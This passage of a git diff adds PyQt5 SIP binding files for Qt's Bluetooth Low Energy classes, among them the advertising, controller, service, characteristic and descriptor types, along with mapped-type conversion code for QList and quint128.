const; + void setIncludePowerLevel(bool doInclude); + bool includePowerLevel() const; + + enum Discoverability + { + DiscoverabilityNone, + DiscoverabilityLimited, + DiscoverabilityGeneral, + }; + + void setDiscoverability(QLowEnergyAdvertisingData::Discoverability mode); + QLowEnergyAdvertisingData::Discoverability discoverability() const; + void setServices(const QList &services); + QList services() const; + void setRawData(const QByteArray &data); + QByteArray rawData() const; + void swap(QLowEnergyAdvertisingData &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyAdvertisingData &data1, const QLowEnergyAdvertisingData &data2); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyAdvertisingData &data1, const QLowEnergyAdvertisingData &data2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingparameters.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingparameters.sip new file mode 100644 index 00000000..729cc02e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyadvertisingparameters.sip @@ -0,0 +1,84 @@ +// qlowenergyadvertisingparameters.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyAdvertisingParameters +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyAdvertisingParameters(); + QLowEnergyAdvertisingParameters(const QLowEnergyAdvertisingParameters &other); + ~QLowEnergyAdvertisingParameters(); + + enum Mode + { + AdvInd, + AdvScanInd, + AdvNonConnInd, + }; + + void setMode(QLowEnergyAdvertisingParameters::Mode mode); + QLowEnergyAdvertisingParameters::Mode mode() const; + + struct AddressInfo + { +%TypeHeaderCode +#include +%End + + AddressInfo(const QBluetoothAddress &addr, QLowEnergyController::RemoteAddressType t); + AddressInfo(); + QBluetoothAddress address; + QLowEnergyController::RemoteAddressType type; + }; + + enum FilterPolicy + { + IgnoreWhiteList, + UseWhiteListForScanning, + UseWhiteListForConnecting, + UseWhiteListForScanningAndConnecting, + }; + + void setWhiteList(const QList &whiteList, QLowEnergyAdvertisingParameters::FilterPolicy policy); + QList whiteList() const; + QLowEnergyAdvertisingParameters::FilterPolicy filterPolicy() const; + void setInterval(quint16 minimum, quint16 maximum); + int minimumInterval() const; + int maximumInterval() const; + void swap(QLowEnergyAdvertisingParameters &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyAdvertisingParameters &p1, const QLowEnergyAdvertisingParameters &p2); +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyAdvertisingParameters::AddressInfo &ai1, const QLowEnergyAdvertisingParameters::AddressInfo &ai2); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyAdvertisingParameters &p1, const QLowEnergyAdvertisingParameters &p2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristic.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristic.sip new file mode 100644 index 00000000..91c73768 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristic.sip @@ -0,0 +1,64 @@ +// qlowenergycharacteristic.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QLowEnergyCharacteristic +{ +%TypeHeaderCode +#include +%End + +public: + enum PropertyType + { + Unknown, + Broadcasting, + Read, + WriteNoResponse, + Write, + Notify, + Indicate, + WriteSigned, + ExtendedProperty, + }; + + typedef QFlags PropertyTypes; + QLowEnergyCharacteristic(); + QLowEnergyCharacteristic(const QLowEnergyCharacteristic &other); + ~QLowEnergyCharacteristic(); + bool operator==(const QLowEnergyCharacteristic &other) const; + bool operator!=(const QLowEnergyCharacteristic &other) const; + QString name() const; + QBluetoothUuid uuid() const; + QByteArray value() const; + QLowEnergyCharacteristic::PropertyTypes properties() const; + QLowEnergyHandle handle() const; + QLowEnergyDescriptor descriptor(const QBluetoothUuid &uuid) const; + QList descriptors() const; + bool isValid() const; +}; + +%End +%If (Qt_5_4_0 -) +QFlags operator|(QLowEnergyCharacteristic::PropertyType f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristicdata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristicdata.sip new file mode 100644 index 00000000..def1b37d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycharacteristicdata.sip @@ -0,0 +1,61 @@ +// qlowenergycharacteristicdata.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyCharacteristicData +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyCharacteristicData(); + QLowEnergyCharacteristicData(const QLowEnergyCharacteristicData &other); + ~QLowEnergyCharacteristicData(); + QBluetoothUuid uuid() const; + void setUuid(const QBluetoothUuid &uuid); + QByteArray value() const; + void setValue(const QByteArray &value); + QLowEnergyCharacteristic::PropertyTypes properties() const; + void setProperties(QLowEnergyCharacteristic::PropertyTypes properties); + QList descriptors() const; + void setDescriptors(const QList &descriptors); + void addDescriptor(const QLowEnergyDescriptorData &descriptor); + void setReadConstraints(QBluetooth::AttAccessConstraints constraints); + QBluetooth::AttAccessConstraints readConstraints() const; + void setWriteConstraints(QBluetooth::AttAccessConstraints constraints); + QBluetooth::AttAccessConstraints writeConstraints() const; + void setValueLength(int minimum, int maximum); + int minimumValueLength() const; + int maximumValueLength() const; + bool isValid() const; + void swap(QLowEnergyCharacteristicData &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyCharacteristicData &cd1, const QLowEnergyCharacteristicData &cd2); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyCharacteristicData &cd1, const QLowEnergyCharacteristicData &cd2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyconnectionparameters.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyconnectionparameters.sip new file mode 100644 index 00000000..42f94ca7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyconnectionparameters.sip @@ -0,0 +1,51 @@ +// qlowenergyconnectionparameters.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyConnectionParameters +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyConnectionParameters(); + QLowEnergyConnectionParameters(const QLowEnergyConnectionParameters &other); + ~QLowEnergyConnectionParameters(); + void setIntervalRange(double minimum, double maximum); + double minimumInterval() const; + double maximumInterval() const; + void setLatency(int latency); + int latency() const; + void setSupervisionTimeout(int timeout); + int supervisionTimeout() const; + void swap(QLowEnergyConnectionParameters &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyConnectionParameters &p1, const QLowEnergyConnectionParameters &p2); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyConnectionParameters &p1, const QLowEnergyConnectionParameters &p2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycontroller.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycontroller.sip new file mode 100644 index 00000000..6b7c950e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergycontroller.sip @@ -0,0 +1,153 @@ +// qlowenergycontroller.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QLowEnergyController : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + UnknownError, + UnknownRemoteDeviceError, + NetworkError, + InvalidBluetoothAdapterError, +%If (Qt_5_5_0 -) + ConnectionError, +%End +%If (Qt_5_7_0 -) + AdvertisingError, +%End +%If (Qt_5_10_0 -) + RemoteHostClosedError, +%End +%If (Qt_5_14_0 -) + AuthorizationError, +%End + }; + + enum ControllerState + { + UnconnectedState, + ConnectingState, + ConnectedState, + DiscoveringState, + DiscoveredState, + ClosingState, +%If (Qt_5_7_0 -) + AdvertisingState, +%End + }; + + enum RemoteAddressType + { + PublicAddress, + RandomAddress, + }; + +%If (Qt_5_5_0 -) + QLowEnergyController(const QBluetoothDeviceInfo &remoteDevice, QObject *parent /TransferThis/ = 0); +%End + QLowEnergyController(const QBluetoothAddress &remoteDevice, QObject *parent /TransferThis/ = 0); + QLowEnergyController(const QBluetoothAddress &remoteDevice, const QBluetoothAddress &localDevice, QObject *parent /TransferThis/ = 0); + virtual ~QLowEnergyController(); + QBluetoothAddress localAddress() const; + QBluetoothAddress remoteAddress() const; + QLowEnergyController::ControllerState state() const; + QLowEnergyController::RemoteAddressType remoteAddressType() const; + void setRemoteAddressType(QLowEnergyController::RemoteAddressType type); + void connectToDevice(); + void disconnectFromDevice(); + void discoverServices(); + QList services() const; + QLowEnergyService *createServiceObject(const QBluetoothUuid &service, QObject *parent /TransferThis/ = 0) /Factory/; + QLowEnergyController::Error error() const; + QString errorString() const; +%If (Qt_5_5_0 -) + QString remoteName() const; +%End + +signals: + void connected(); + void disconnected(); + void stateChanged(QLowEnergyController::ControllerState state); + void error(QLowEnergyController::Error newError); + void serviceDiscovered(const QBluetoothUuid &newService); + void discoveryFinished(); + +public: +%If (Qt_5_7_0 -) + + enum Role + { + CentralRole, + PeripheralRole, + }; + +%End +%If (Qt_5_7_0 -) + static QLowEnergyController *createCentral(const QBluetoothDeviceInfo &remoteDevice, QObject *parent /TransferThis/ = 0) /Factory/; +%End +%If (Qt_5_14_0 -) + static QLowEnergyController *createCentral(const QBluetoothAddress &remoteDevice, const QBluetoothAddress &localDevice, QObject *parent /TransferThis/ = 0) /Factory/; +%End +%If (Qt_5_7_0 -) + static QLowEnergyController *createPeripheral(QObject *parent /TransferThis/ = 0) /Factory/; +%End +%If (Qt_5_7_0 -) + void startAdvertising(const QLowEnergyAdvertisingParameters ¶meters, const QLowEnergyAdvertisingData &advertisingData, const QLowEnergyAdvertisingData &scanResponseData = QLowEnergyAdvertisingData()); +%End +%If (Qt_5_7_0 -) + void stopAdvertising(); +%End +%If (Qt_5_7_0 -) + QLowEnergyService *addService(const QLowEnergyServiceData &service, QObject *parent /TransferThis/ = 0) /Factory/; +%End +%If (Qt_5_7_0 -) + void requestConnectionUpdate(const QLowEnergyConnectionParameters ¶meters); +%End +%If (Qt_5_7_0 -) + QLowEnergyController::Role role() const; +%End + +signals: +%If (Qt_5_7_0 -) + void connectionUpdated(const QLowEnergyConnectionParameters ¶meters); +%End + +public: +%If (Qt_5_8_0 -) + QBluetoothUuid remoteDeviceUuid() const; +%End + +private: +%If (Qt_5_7_0 -) + explicit QLowEnergyController(QObject *parent = 0); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptor.sip new file mode 100644 index 00000000..791635a9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptor.sip @@ -0,0 +1,45 @@ +// qlowenergydescriptor.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QLowEnergyDescriptor +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyDescriptor(); + QLowEnergyDescriptor(const QLowEnergyDescriptor &other); + ~QLowEnergyDescriptor(); + bool operator==(const QLowEnergyDescriptor &other) const; + bool operator!=(const QLowEnergyDescriptor &other) const; + bool isValid() const; + QByteArray value() const; + QBluetoothUuid uuid() const; + QLowEnergyHandle handle() const; + QString name() const; + QBluetoothUuid::DescriptorType type() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptordata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptordata.sip new file mode 100644 index 00000000..8a67b819 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergydescriptordata.sip @@ -0,0 +1,56 @@ +// qlowenergydescriptordata.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyDescriptorData +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyDescriptorData(); + QLowEnergyDescriptorData(const QBluetoothUuid &uuid, const QByteArray &value); + QLowEnergyDescriptorData(const QLowEnergyDescriptorData &other); + ~QLowEnergyDescriptorData(); + QByteArray value() const; + void setValue(const QByteArray &value); + QBluetoothUuid uuid() const; + void setUuid(const QBluetoothUuid &uuid); + bool isValid() const; + void setReadPermissions(bool readable, QBluetooth::AttAccessConstraints constraints = QBluetooth::AttAccessConstraints()); + bool isReadable() const; + QBluetooth::AttAccessConstraints readConstraints() const; + void setWritePermissions(bool writable, QBluetooth::AttAccessConstraints constraints = QBluetooth::AttAccessConstraints()); + bool isWritable() const; + QBluetooth::AttAccessConstraints writeConstraints() const; + void swap(QLowEnergyDescriptorData &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyDescriptorData &d1, const QLowEnergyDescriptorData &d12); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyDescriptorData &d1, const QLowEnergyDescriptorData &d2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservice.sip new file mode 100644 index 00000000..1921c61b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservice.sip @@ -0,0 +1,119 @@ +// qlowenergyservice.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QLowEnergyService : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ServiceType + { + PrimaryService, + IncludedService, + }; + + typedef QFlags ServiceTypes; + + enum ServiceError + { + NoError, + OperationError, + CharacteristicWriteError, + DescriptorWriteError, +%If (Qt_5_5_0 -) + CharacteristicReadError, +%End +%If (Qt_5_5_0 -) + DescriptorReadError, +%End +%If (Qt_5_5_0 -) + UnknownError, +%End + }; + + enum ServiceState + { + InvalidService, + DiscoveryRequired, + DiscoveringServices, + ServiceDiscovered, +%If (Qt_5_7_0 -) + LocalService, +%End + }; + + enum WriteMode + { + WriteWithResponse, + WriteWithoutResponse, +%If (Qt_5_7_0 -) + WriteSigned, +%End + }; + + virtual ~QLowEnergyService(); + QList includedServices() const; + QLowEnergyService::ServiceTypes type() const; + QLowEnergyService::ServiceState state() const; + QLowEnergyCharacteristic characteristic(const QBluetoothUuid &uuid) const; + QList characteristics() const; + QBluetoothUuid serviceUuid() const; + QString serviceName() const; + void discoverDetails(); + QLowEnergyService::ServiceError error() const; + bool contains(const QLowEnergyCharacteristic &characteristic) const; + bool contains(const QLowEnergyDescriptor &descriptor) const; + void writeCharacteristic(const QLowEnergyCharacteristic &characteristic, const QByteArray &newValue, QLowEnergyService::WriteMode mode = QLowEnergyService::WriteWithResponse); + void writeDescriptor(const QLowEnergyDescriptor &descriptor, const QByteArray &newValue); + +signals: + void stateChanged(QLowEnergyService::ServiceState newState); + void characteristicChanged(const QLowEnergyCharacteristic &info, const QByteArray &value); + void characteristicWritten(const QLowEnergyCharacteristic &info, const QByteArray &value); + void descriptorWritten(const QLowEnergyDescriptor &info, const QByteArray &value); + void error(QLowEnergyService::ServiceError error); + +public: +%If (Qt_5_5_0 -) + void readCharacteristic(const QLowEnergyCharacteristic &characteristic); +%End +%If (Qt_5_5_0 -) + void readDescriptor(const QLowEnergyDescriptor &descriptor); +%End + +signals: +%If (Qt_5_5_0 -) + void characteristicRead(const QLowEnergyCharacteristic &info, const QByteArray &value); +%End +%If (Qt_5_5_0 -) + void descriptorRead(const QLowEnergyDescriptor &info, const QByteArray &value); +%End +}; + +%End +%If (Qt_5_5_0 -) +QFlags operator|(QLowEnergyService::ServiceType f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservicedata.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservicedata.sip new file mode 100644 index 00000000..881a4feb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qlowenergyservicedata.sip @@ -0,0 +1,62 @@ +// qlowenergyservicedata.sip generated by MetaSIP +// +// This file is part of the QtBluetooth Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_7_0 -) + +class QLowEnergyServiceData +{ +%TypeHeaderCode +#include +%End + +public: + QLowEnergyServiceData(); + QLowEnergyServiceData(const QLowEnergyServiceData &other); + ~QLowEnergyServiceData(); + + enum ServiceType + { + ServiceTypePrimary, + ServiceTypeSecondary, + }; + + QLowEnergyServiceData::ServiceType type() const; + void setType(QLowEnergyServiceData::ServiceType type); + QBluetoothUuid uuid() const; + void setUuid(const QBluetoothUuid &uuid); + QList includedServices() const; + void setIncludedServices(const QList &services); + void addIncludedService(QLowEnergyService *service); + QList characteristics() const; + void setCharacteristics(const QList &characteristics); + void addCharacteristic(const QLowEnergyCharacteristicData &characteristic); + bool isValid() const; + void swap(QLowEnergyServiceData &other); +}; + +%End +%If (Qt_5_7_0 -) +bool operator==(const QLowEnergyServiceData &sd1, const QLowEnergyServiceData &sd2); +%End +%If (Qt_5_7_0 -) +bool operator!=(const QLowEnergyServiceData &sd1, const QLowEnergyServiceData &sd2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_qlist.sip new file mode 100644 index 00000000..5f273e13 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_qlist.sip @@ -0,0 +1,240 @@ +// This is the SIP interface definition for the QList based mapped types +// specific to the QtBluetooth module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QList + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + // Convert to a Python long to make sure it doesn't get interpreted as + // a signed value. + PyObject *pobj = PyLong_FromUnsignedLongLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *qv = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + unsigned long val = PyLong_AsUnsignedLongMask(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +// QBluetoothServiceInfo::Sequence is actually a sub-class of QList. +// Note that QBluetoothServiceInfo::Alternative is identical and they are both +// syntactic sugar. By ignoring methods using the latter then everything works +// as expected. +%MappedType QBluetoothServiceInfo::Sequence + /TypeHintIn="Iterable[QVariant]", TypeHintOut="List[QVariant]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + QVariant *t = new QVariant(sipCpp->at(i)); + PyObject *tobj = sipConvertFromNewType(t, sipType_QVariant, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, tobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QBluetoothServiceInfo::Sequence *ql = new QBluetoothServiceInfo::Sequence; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + QVariant *t = reinterpret_cast( + sipForceConvertToType(itm, sipType_QVariant, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(*t); + + sipReleaseType(t, sipType_QVariant, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_quint128.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_quint128.sip new file mode 100644 index 00000000..b6e5a18b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtBluetooth/qpybluetooth_quint128.sip @@ -0,0 +1,115 @@ +// This is the SIP interface definition for the quint128 mapped type. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType quint128 /TypeHint="Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *t = PyTuple_New(16); + + if (!t) + return 0; + + for (Py_ssize_t i = 0; i < 16; ++i) + { + // Convert to a Python long to make sure it doesn't get interpreted as + // a signed value. + PyObject *pobj = PyLong_FromUnsignedLong(sipCpp->data[i]); + + if (!pobj) + { + Py_DECREF(t); 